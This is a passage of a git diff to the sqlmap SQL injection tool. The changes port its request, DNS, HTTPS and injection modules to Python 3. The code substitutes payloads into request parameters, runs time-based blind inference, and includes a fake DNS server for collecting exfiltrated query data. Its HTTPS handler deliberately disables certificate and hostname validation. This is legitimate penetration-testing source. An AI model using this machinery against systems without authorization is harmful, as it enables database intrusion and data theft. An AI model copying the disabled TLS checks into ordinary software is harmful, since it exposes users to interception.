re.search(r"(?s)\A.+?\r?\n\r?\n", part) + if match: + found = True + first = match.group(0) + second = part[len(first):] + second = re.sub(r"(?s).+?(\r?\n?\-*\Z)", r"%s\g<1>" % re.escape(entry), second) + parts[i] = "%s%s" % (first, second) + post = boundary.join(parts) + + elif kb.postHint and re.search(r"\b%s\b" % re.escape(name), post or ""): if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP): if re.search(r"<%s\b" % re.escape(name), post): found = True - post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) + post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) elif re.search(r"\b%s>" % re.escape(name), post): found = True - post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) + post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) + + elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + match = re.search(r"['\"]%s['\"]:" % re.escape(name), post) + if match: + quote = match.group(0)[0] + post = post.replace("\\%s" % quote, BOUNDARY_BACKSLASH_MARKER) + match = re.search(r"(%s%s%s:\s*)(\d+|%s[^%s]*%s)" % (quote, re.escape(name), quote, quote, quote, quote), post) + if match: + found = True + post = post.replace(match.group(0), "%s%s" % (match.group(1), entry if entry.isdigit() else "%s%s%s" % (match.group(0)[0], entry, match.group(0)[0]))) + post = post.replace(BOUNDARY_BACKSLASH_MARKER, "\\%s" % quote) regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name) if not found and re.search(regex, (post or "")): found = True - post = re.sub(regex, r"\g<1>\g<2>%s" % value.replace('\\', r'\\'), post) + post = re.sub(regex, r"\g<1>\g<2>%s" % entry.replace('\\', r'\\'), post) regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) if not found and re.search(regex, (post or "")): found = True - post = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) + post = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) if re.search(regex, (get or "")): found = True - get = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), get) + get = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), get) if re.search(regex, (query or "")): found = True - uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri) + uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), uri) - regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) + regex = r"((\A|%s\s*)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) if re.search(regex, (cookie or "")): found = True - cookie = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie) + cookie = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), cookie) if not found: if post is not None: - post += "%s%s=%s" % (delimiter, name, value) + if kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + match = re.search(r"['\"]", post) + if match: + quote = match.group(0) + post = re.sub(r"\}\Z", "%s%s}" % (',' if re.search(r"\w", post) else "", "%s%s%s:%s" % (quote, name, quote, entry if entry.isdigit() else "%s%s%s" % (quote, entry, quote))), post) + else: + post += "%s%s=%s" % (delimiter, name, entry) elif get is not None: - get += "%s%s=%s" % (delimiter, name, value) + get += "%s%s=%s" % (delimiter, name, entry) elif cookie is not None: - cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, value) + cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, entry) if not conf.skipUrlEncode: get = urlencode(get, limit=True) @@ -1210,8 +1527,8 @@ def _randomizeParameter(paramString, randomParameter): dataToStdout(warnMsg) while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: - value = kb.responseTimePayload.replace(RANDOM_INTEGER_MARKER, str(randomInt(6))).replace(RANDOM_STRING_MARKER, randomStr()) if kb.responseTimePayload else kb.responseTimePayload - Connect.queryPage(value=value, content=True, raise404=False) + _ = kb.responseTimePayload.replace(RANDOM_INTEGER_MARKER, str(randomInt(6))).replace(RANDOM_STRING_MARKER, randomStr()) if kb.responseTimePayload else kb.responseTimePayload + Connect.queryPage(value=_, content=True, raise404=False) dataToStdout('.') dataToStdout(" (done)\n") @@ -1227,7 +1544,7 @@ def _randomizeParameter(paramString, randomParameter): deviation = stdev(kb.responseTimes[kb.responseTimeMode]) - if deviation > WARN_TIME_STDEV: + if deviation is not None and deviation > WARN_TIME_STDEV: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE warnMsg = "considerable lagging has been detected " @@ -1236,7 +1553,7 @@ def _randomizeParameter(paramString, randomParameter): warnMsg += "10 or more)" logger.critical(warnMsg) - if conf.safeFreq > 0: + if (conf.safeFreq or 0) > 0: kb.queryCounter += 1 if kb.queryCounter % conf.safeFreq == 0: if conf.safeUrl: @@ -1282,23 +1599,26 @@ def _randomizeParameter(paramString, randomParameter): warnMsg += "behavior in custom WAF/IPS solutions" singleTimeWarnMessage(warnMsg) - if conf.secondUrl: - page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) - elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in urllib.unquote(value or ""): - def _(value): - if kb.customInjectionMark in (value or ""): - if payload is None: - value = value.replace(kb.customInjectionMark, "") - else: - value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value) - return value - page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) + if not ignoreSecondOrder: + if conf.secondUrl: + page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) + elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""): + def _(value): + if kb.customInjectionMark in (value or ""): + if payload is None: + value = value.replace(kb.customInjectionMark, "") + else: + try: + value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value) + except re.error: + value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), re.escape(payload), value) + return value + page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) threadData.lastQueryDuration = calculateDeltaSeconds(start) - threadData.lastPage = page - threadData.lastCode = code - kb.originalCode = kb.originalCode or code + kb.originalCode = code if kb.originalCode is None else kb.originalCode + kb.originalPage = page if kb.originalPage is None else kb.originalPage if kb.testMode: kb.testQueryCount += 1 @@ -1321,6 +1641,8 @@ def _(value): kb.permissionFlag = True singleTimeWarnMessage("potential permission problems detected ('%s')" % message) + headers = patchHeaders(headers) + if content or response: return page, headers, code diff --git a/lib/request/direct.py b/lib/request/direct.py index c4a8a5b22b9..171f37151d6 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -1,22 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import re import time -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import extractExpectedValue from lib.core.common import getCurrentThreadData -from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import isListLike +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -26,6 +26,7 @@ from lib.core.enums import EXPECTED from lib.core.enums import TIMEOUT_STATE from lib.core.settings import UNICODE_ENCODING +from lib.utils.safe2bin import safecharencode from lib.utils.timeout import timeout def direct(query, content=True): @@ -43,17 +44,24 @@ def direct(query, content=True): select = False break - if select and not query.upper().startswith("SELECT "): - query = "SELECT %s" % query + if select: + if re.search(r"(?i)\ASELECT ", query) is None: + query = "SELECT %s" % query + + if conf.binaryFields: + for field in conf.binaryFields: + field = field.strip() + if re.search(r"\b%s\b" % re.escape(field), query): + query = re.sub(r"\b%s\b" % re.escape(field), agent.hexConvertField(field), query) logger.log(CUSTOM_LOGGING.PAYLOAD, query) output = hashDBRetrieve(query, True, True) start = time.time() - if not select and "EXEC " not in query.upper(): + if not select and re.search(r"(?i)\bEXEC ", query) is None: timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) - elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query): + elif not (output and ("%soutput" % conf.tablePrefix) not in query and ("%sfile" % conf.tablePrefix) not in query): output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) if state == TIMEOUT_STATE.NORMAL: hashDBWrite(query, output, True) diff --git a/lib/request/dns.py b/lib/request/dns.py index 950248fe320..1be54888274 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -1,90 +1,110 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function +import binascii import os import re import socket +import struct import threading import time class DNSQuery(object): """ - Used for making fake DNS resolution responses based on received - raw request - - Reference(s): - http://code.activestate.com/recipes/491264-mini-fake-dns-server/ - https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py + >>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com." + True + >>> DNSQuery(b'\\x00')._query == b"" + True """ def __init__(self, raw): self._raw = raw - self._query = "" + self._query = b"" - type_ = (ord(raw[2]) >> 3) & 15 # Opcode bits + try: + type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits - if type_ == 0: # Standard query - i = 12 - j = ord(raw[i]) + if type_ == 0: # Standard query + i = 12 + j = ord(raw[i:i + 1]) - while j != 0: - self._query += raw[i + 1:i + j + 1] + '.' - i = i + j + 1 - j = ord(raw[i]) + while j != 0: + self._query += raw[i + 1:i + j + 1] + b'.' + i = i + j + 1 + j = ord(raw[i:i + 1]) + except TypeError: + pass def response(self, resolution): """ Crafts raw DNS resolution response packet """ - retVal = "" + retVal = b"" if self._query: - retVal += self._raw[:2] # Transaction ID - retVal += "\x85\x80" # Flags (Standard query response, No error) - retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00" # Questions and Answers Counts - retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)] # Original Domain Name Query - retVal += "\xc0\x0c" # Pointer to domain name - retVal += "\x00\x01" # Type A - retVal += "\x00\x01" # Class IN - retVal += "\x00\x00\x00\x20" # TTL (32 seconds) - retVal += "\x00\x04" # Data length - retVal += "".join(chr(int(_)) for _ in resolution.split('.')) # 4 bytes of IP + retVal += self._raw[:2] # Transaction ID + retVal += b"\x85\x80" # Flags (Standard query response, No error) + retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts + retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query + retVal += b"\xc0\x0c" # Pointer to domain name + retVal += b"\x00\x01" # Type A + retVal += b"\x00\x01" # Class IN + retVal += b"\x00\x00\x00\x20" # TTL (32 seconds) + retVal += b"\x00\x04" # Data length + retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP return retVal class DNSServer(object): + """ + Used for making fake DNS resolution responses based on received + raw request + + Reference(s): + https://code.activestate.com/recipes/491264-mini-fake-dns-server/ + https://web.archive.org/web/20150418152405/https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py + """ + def __init__(self): self._check_localhost() self._requests = [] self._lock = threading.Lock() + try: self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM) except AttributeError: self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self._socket.bind(("", 53)) self._running = False self._initialized = False def _check_localhost(self): - response = "" + response = b"" + s = None + try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.settimeout(1.0) s.connect(("", 53)) - s.send("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000".decode("hex")) # A www.google.com + s.send(binascii.unhexlify("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000")) # A www.google.com response = s.recv(512) except: pass finally: - if response and "google" in response: - raise socket.error("another DNS service already running on *:53") + if s: + s.close() + + if response and b"google" in response: + raise socket.error("another DNS service already running on '0.0.0.0:53'") def pop(self, prefix=None, suffix=None): """ @@ -94,11 +114,17 @@ def pop(self, prefix=None, suffix=None): retVal = None + if prefix and hasattr(prefix, "encode"): + prefix = prefix.encode() + + if suffix and hasattr(suffix, "encode"): + suffix = suffix.encode() + with self._lock: for _ in self._requests: - if prefix is None and suffix is None or re.search(r"%s\..+\.%s" % (prefix, suffix), _, re.I): - retVal = _ + if prefix is None and suffix is None or re.search(b"%s\\..+\\.%s" % (prefix, suffix), _, re.I): self._requests.remove(_) + retVal = _.decode() break return retVal diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index c75d2f6e9c8..94f50fb1a16 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -1,22 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -import distutils.version -import httplib import re import socket -import urllib2 +from lib.core.common import filterNone from lib.core.common import getSafeExString +from lib.core.compat import LooseVersion +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.settings import PYVERSION +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib ssl = None try: @@ -25,17 +27,29 @@ except ImportError: pass -_protocols = filter(None, (getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))) +_protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLS_CLIENT", "PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2")) +_lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_")) +_contexts = {} -class HTTPSConnection(httplib.HTTPSConnection): +class HTTPSConnection(_http_client.HTTPSConnection): """ Connection class that enables usage of newer SSL protocols. Reference: http://bugs.python.org/msg128686 + + NOTE: use https://check-tls.akamaized.net/ to check if (e.g.) TLS/SNI is working properly """ def __init__(self, *args, **kwargs): - httplib.HTTPSConnection.__init__(self, *args, **kwargs) + # NOTE: Dirty patch for https://bugs.python.org/issue38251 / https://github.com/sqlmapproject/sqlmap/issues/4158 + if hasattr(ssl, "_create_default_https_context"): + if None not in _contexts: + _contexts[None] = ssl._create_default_https_context() + kwargs["context"] = _contexts[None] + + self.retrying = False + + _http_client.HTTPSConnection.__init__(self, *args, **kwargs) def connect(self): def create_sock(): @@ -49,32 +63,47 @@ def create_sock(): # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni - if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and not any((conf.proxy, conf.tor)) and hasattr(ssl, "SSLContext"): - for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols): + if hasattr(ssl, "SSLContext"): + for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1): + sock = None try: sock = create_sock() - context = ssl.SSLContext(protocol) - _ = context.wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host) - if _: + if protocol not in _contexts: + _contexts[protocol] = ssl.SSLContext(protocol) + + # Disable certificate and hostname validation enabled by default with PROTOCOL_TLS_CLIENT + _contexts[protocol].check_hostname = False + _contexts[protocol].verify_mode = ssl.CERT_NONE + + if getattr(self, "cert_file", None) and getattr(self, "key_file", None): + _contexts[protocol].load_cert_chain(certfile=self.cert_file, keyfile=self.key_file) + try: + # Reference(s): https://askubuntu.com/a/1263098 + # https://askubuntu.com/a/1250807 + # https://git.zknt.org/mirror/bazarr/commit/7f05f932ffb84ba8b9e5630b2adc34dbd77e2b4a?style=split&whitespace=show-all&show-outdated= + _contexts[protocol].set_ciphers("ALL@SECLEVEL=0") + except (ssl.SSLError, AttributeError): + pass + result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host if re.search(r"\A[\d.]+\Z", self.host or "") is None else None) + if result: success = True - self.sock = _ + self.sock = result _protocols.remove(protocol) _protocols.insert(0, protocol) break else: sock.close() - except (ssl.SSLError, socket.error, httplib.BadStatusLine) as ex: + except (ssl.SSLError, socket.error, _http_client.BadStatusLine, AttributeError) as ex: self._tunnel_host = None - logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex)) - - if kb.tlsSNI.get(self.host) is None: - kb.tlsSNI[self.host] = success + if sock: + sock.close() + logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) - if not success: + elif hasattr(ssl, "wrap_socket"): for protocol in _protocols: try: sock = create_sock() - _ = ssl.wrap_socket(sock, self.key_file, self.cert_file, ssl_version=protocol) + _ = ssl.wrap_socket(sock, keyfile=getattr(self, "key_file"), certfile=getattr(self, "cert_file"), ssl_version=protocol) if _: success = True self.sock = _ @@ -83,25 +112,31 @@ def create_sock(): break else: sock.close() - except (ssl.SSLError, socket.error, httplib.BadStatusLine) as ex: + except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex: self._tunnel_host = None - logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex)) + logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) if not success: errMsg = "can't establish SSL connection" # Reference: https://docs.python.org/2/library/ssl.html - if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion("2.7.9"): + if LooseVersion(PYVERSION) < LooseVersion("2.7.9"): errMsg += " (please retry with Python >= 2.7.9)" - raise SqlmapConnectionException(errMsg) -class HTTPSHandler(urllib2.HTTPSHandler): - def https_open(self, req): - return self.do_open(HTTPSConnection if ssl else httplib.HTTPSConnection, req) + if kb.sslSuccess and not self.retrying: + self.retrying = True -# Bug fix (http://bugs.python.org/issue17849) + for _ in xrange(conf.retries): + try: + self.connect() + except SqlmapConnectionException: + pass + else: + return -def _(self, *args): - return self._readline() + raise SqlmapConnectionException(errMsg) + else: + kb.sslSuccess = True -httplib.LineAndFileWrapper._readline = httplib.LineAndFileWrapper.readline -httplib.LineAndFileWrapper.readline = _ +class HTTPSHandler(_urllib.request.HTTPSHandler): + def https_open(self, req): + return self.do_open(HTTPSConnection if ssl else _http_client.HTTPSConnection, req) diff --git a/lib/request/inject.py b/lib/request/inject.py index fab1a205fc1..2bb641acad8 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -12,16 +12,20 @@ from lib.core.agent import agent from lib.core.bigarray import BigArray +from lib.core.common import applyFunctionRecursively from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import cleanQuery from lib.core.common import expandAsteriskForColumns from lib.core.common import extractExpectedValue +from lib.core.common import filterNone from lib.core.common import getPublicTypeMembers +from lib.core.common import getTechnique from lib.core.common import getTechniqueData from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import initTechnique +from lib.core.common import isDigit from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable @@ -30,11 +34,14 @@ from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput +from lib.core.common import setTechnique from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries +from lib.core.decorators import lockedmethod from lib.core.decorators import stackedmethod from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import CHARSET_TYPE @@ -59,6 +66,7 @@ from lib.techniques.dns.use import dnsUse from lib.techniques.error.use import errorUse from lib.techniques.union.use import unionUse +from thirdparty import six def _goDns(payload, expression): value = None @@ -85,18 +93,27 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar if value is not None: return value - timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) + timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) + + if timeBasedCompare and conf.threads > 1 and kb.forceThreads is None: + msg = "multi-threading is considered unsafe in " + msg += "time-based data retrieval. Are you sure " + msg += "of your choice (breaking warranty) [y/N] " + + kb.forceThreads = readInput(msg, default='N', boolean=True) if not (timeBasedCompare and kb.dnsTest): - if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not conf.forceThreads): + if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads): if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): - expression = "SELECT %s FROM (%s)" % (field, expression) - - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression)) + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CUBRID): + alias = randomStr(lowercase=True, seed=hash(expression)) + expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example + expression += " AS %s" % alias + else: + expression = "SELECT %s FROM (%s)" % (field, expression) - if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields.split(','): + if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields or Backend.getIdentifiedDbms() in (DBMS.RAIMA,): nulledCastedField = agent.nullAndCastField(field) injExpression = expression.replace(field, nulledCastedField, 1) else: @@ -110,7 +127,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar kb.inferenceMode = False if not kb.bruteMode: - debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) + debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) return value @@ -150,9 +167,9 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char parameter through a bisection algorithm. """ - initTechnique(kb.technique) + initTechnique(getTechnique()) - query = agent.prefixQuery(kb.injection.data[kb.technique].vector) + query = agent.prefixQuery(getTechniqueData().vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) count = None @@ -181,13 +198,13 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char # forge the SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table # can return multiple entries - if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): + if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I) and hasattr(queries[Backend.getIdentifiedDbms()].limitregexp, "query"): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression) if limitCond: test = True - if not stopLimit or stopLimit <= 1: + if stopLimit is None or stopLimit <= 1: if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): test = False @@ -222,7 +239,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char elif choice == 'Q': raise SqlmapUserQuitException - elif choice.isdigit() and int(choice) > 0 and int(choice) <= count: + elif isDigit(choice) and int(choice) > 0 and int(choice) <= count: stopLimit = int(choice) infoMsg = "sqlmap is now going to retrieve the " @@ -233,7 +250,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char message = "how many? " stopLimit = readInput(message, default="10") - if not stopLimit.isdigit(): + if not isDigit(stopLimit): errMsg = "invalid choice" logger.error(errMsg) @@ -248,20 +265,20 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char return None - elif count and not count.isdigit(): + elif count and not isDigit(count): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" - logger.warn(warnMsg) + logger.warning(warnMsg) stopLimit = 1 - elif (not count or int(count) == 0): + elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" - logger.warn(warnMsg) + logger.warning(warnMsg) return None @@ -270,7 +287,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char try: try: - for num in xrange(startLimit, stopLimit): + for num in xrange(startLimit or 0, stopLimit or 0): output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) outputs.append(output) except OverflowError: @@ -281,7 +298,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char except KeyboardInterrupt: print() warnMsg = "user aborted during dumping phase" - logger.warn(warnMsg) + logger.warning(warnMsg) return outputs @@ -297,10 +314,10 @@ def _goBooleanProxy(expression): Retrieve the output of a boolean based SQL query """ - initTechnique(kb.technique) + initTechnique(getTechnique()) if conf.dnsDomain: - query = agent.prefixQuery(kb.injection.data[kb.technique].vector) + query = agent.prefixQuery(getTechniqueData().vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) output = _goDns(payload, expression) @@ -308,13 +325,13 @@ def _goBooleanProxy(expression): if output is not None: return output - vector = kb.injection.data[kb.technique].vector + vector = getTechniqueData().vector vector = vector.replace(INFERENCE_MARKER, expression) query = agent.prefixQuery(vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) - timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) + timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) output = hashDBRetrieve(expression, checkConf=True) @@ -334,11 +351,12 @@ def _goUnion(expression, unpack=True, dump=False): output = unionUse(expression, unpack=unpack, dump=dump) - if isinstance(output, basestring): + if isinstance(output, six.string_types): output = parseUnionPage(output) return output +@lockedmethod @stackedmethod def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ @@ -346,8 +364,13 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser affected parameter. """ - if conf.hexConvert: - charsetType = CHARSET_TYPE.HEXADECIMAL + if conf.hexConvert and expected != EXPECTED.BOOL and Backend.getIdentifiedDbms(): + if not hasattr(queries[Backend.getIdentifiedDbms()], "hex"): + warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms() + singleTimeWarnMessage(warnMsg) + conf.hexConvert = False + else: + charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = 